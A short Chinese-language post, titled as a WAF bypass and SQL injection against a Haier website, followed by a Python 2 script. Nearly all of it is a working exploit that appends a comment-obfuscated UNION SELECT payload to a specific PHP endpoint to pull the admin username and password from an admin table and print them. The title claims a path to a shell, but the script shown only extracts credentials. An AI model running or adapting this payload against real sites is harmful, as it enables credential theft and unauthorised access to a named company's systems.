海尔某站绕过waf注入至Getshell(附脚本)

#!/usr/bin/env python
 #coding:utf-8
 __author__ = 'Lu'
 
 import urllib2
 import urllib
 import sys
 import hashlib
 import re
 
 
 def verify(url):
     target = "%s/shop/mobile/hdzqde.php?id=-5656" % url
     payload = "/**/UNION/**/ALL/**/SELECT/**/(select/**/concat(username,0x23,0x23,password)/**/from/**/yanyu_admin/**/limit 0,1),NULL-- "
     poc = target + payload
     try:
         # 发送 HTTP 请求
         req = urllib2.Request(poc)
         response = urllib2.urlopen(req)
         s = "<h2>(.*?)</h2>"
         
         if response:
             # 处理 响应
             data = response.read()
             result = re.findall(s,data)
             print "用户名##密码是 : %s" % result
     except Exception, e:
         print "Something happend..."
         print e
 
 
 def main():
     args = sys.argv
     url = ""
 
     if len(args) == 2:
         url = args[1]
         verify(url)
     else:
         print "Usage: python %s url" % (args[0])
 
 if __name__ == '__main__':
     main()